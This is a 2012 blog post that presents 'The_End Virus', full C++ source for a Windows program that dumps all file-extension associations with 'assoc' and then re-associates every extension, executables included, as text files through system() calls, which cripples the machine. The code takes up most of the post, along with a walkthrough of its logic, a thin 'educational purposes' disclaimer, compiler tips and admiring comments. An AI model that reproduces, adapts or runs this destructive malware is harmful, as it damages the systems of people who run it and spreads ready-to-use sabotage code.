March 12, 2012

The End Virus - Changes Files Extensions in Windows

MyCFiles Presenting here an awesome Virus Code "The_End Virus" - which changes files extensions in windows. It will give your windows a Paralysis Attack..
This Code made by MyCFiles admin Gaurav Tiwari,  he named it "The_End Virus" coz running this code will totally screw your windows..

Description
Do you know how your computer remembers that he needs to open the file with the .txt extension with notepad not with WordPad? Answer is simple. Through the registry editor. Registry Editor maintains a database telling Windows OS that file with the .mp extension is configured to be open with the Media Player. When you install a new player, be it VLC media player or the Winamp, the installation program just modifies that part of the registry and configure it to open with the new Installed program. I guess that being a computer user you are sane enough to think that program and file format must be compatible with each other for proper functioning. Didn’t get it? Have you tried to open a exe with a Notepad file. If yes, you know what the hell happens. Notepad gets stuck and combines all its courage and after sometimes presents you all the weird stuff that you can’t understand and if you had not tried it, try it. Just make sure that you do not hit always use the same program to open this kind of files. It turns out that .exe file and the notepad are not compatible with each other.

Caution:
The program is capable of producing extreme damage to your machine. I am publishing it for the educational purposes. If you want to run it, make a Virtual XP Machine and try it. To get screwed on Windows XP, just run the program and to get screwed on the Windows 7, make a mistake to run the program as an Administrator. If not handled properly, you might screw yourself and your computer.
In short, I am NOT responsible for your stupidity.




Code:
/*Virus Code "The_end Virus" - by MyCFiles.com*/
# include <iostream>
# include <fstream>
# include <string>
# include <dos.h>

using namespace std;

void join(char[]);

int main()
{
    int next[2000],last[2000];
    int i=2,pointer=0,j,k;

    char str[]="assoc >6th_September.txt",ch,end[500];

    ifstream in,sec;
    ofstream out;

    system(str);

    in.open("C:\\6th_September.txt",ios::in);

    if(!in)
        cout<<"Hard Luck ! Dude";

    else
    {
        while(in.get(ch))//Till The END of file
        {
            if(ch==10)//For Control Character that represent NEWLINE
            {
                pointer=pointer+2;
                next[i]=pointer;
                i++;
            }
            else
                pointer=pointer+1;//For Normal Characters
        }

        next[i]=pointer;//Pointer to the end of the file
        i++;
    }
    in.close();

    for(j=1;j<i-1;j++)
    {
        if(j==(i-2))
            last[j]=next[j+1]-1;
        else
            last[j]=next[j+1]-3;
    }

    sec.open("C:\\6th_September.txt",ios::in);
    if(!sec)
        cout<<"AGAIN ! HARD LUCK DUDE ";
    else
    {
        for(j=1;j<i-1;j++)
        {
            k=0;
            end[0]='\0';

            pointer=next[j];

            sec.seekg(next[j],ios::beg);
            while(pointer<=last[j])
            {
                sec.get(ch);
                end[k]=ch;
                k=k+1;
                if(end[k-1]=='=')
                    break;
                pointer++;
            }
            end[k]='\0';
            join(end);
            system(end);
            cout<<"\n";
        }
    }
    return 0;
}
void join(char end[500])
{
    int i,len;

    len=strlen(end);

    for(i=len-1;i>=0;i--)
    {
        end[i+6]=end[i];
    }
    end[len+6]='t',end[len+7]='x',end[len+8]='t',end[len+9]='f',end[len+10]='i',end[len+11]='l',end[len+12]='e',end[len+13]='\0';
    end[0]='a',end[1]='s',end[2]='s',end[3]='o',end[4]='c',end[5]=' ';
}


Logic:
Logic of the program is simple. First, I require knowing all the extensions known to the computer. Command Prompt has a command in it “assoc”. Without any parameters it would show you all the extensions known to your computer and their respective associations. Now, I piped out the output of the assoc command through the command
Assoc > 6_September.txt
Now, I will show the example how the file stores what I need.
.reg=regfile
Here, it’s the entry for the .reg file. I only need to extract following content from this line which is
.reg =
And I need to convert it to
Assoc .reg=txtfile
And that what the join() fuction does in the program. After I get the string, I only need to execute the above statement with System() function defind in DOS.H
Here is a note, the system() function does not works with TC++. And I have a theory for this. TC++ is a 16 bit application. So the exe it generates is also 16 bit in nature. Whereas the command prompt and Registry editor are 32 Bit Programs. These instructions do not work in the way they are expected in here. So, you will need something other than the TC++ to do the job. My option is again Codeblock IDE that provides you 32 bit GCC Compiler to do all the nasty and Creative job you need to do.

All files before running code

After code runes

Exe file would be opened in this way

Hope you liked the post, we are coming with more virus codes.. stay tuned to MyCFiles.com
Comment bellow for Query and Feedback.

Related Posts :



5 comments:

Amazing code..
Good thinking

Ooooohhh waooooooo !!!! now this is called a knowledgeable post.......keep it up sir....:-D

Excellent work, way of describing about the file extension so good, I really impressed with your skills.

Post a Comment

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Related Posts with Thumbnails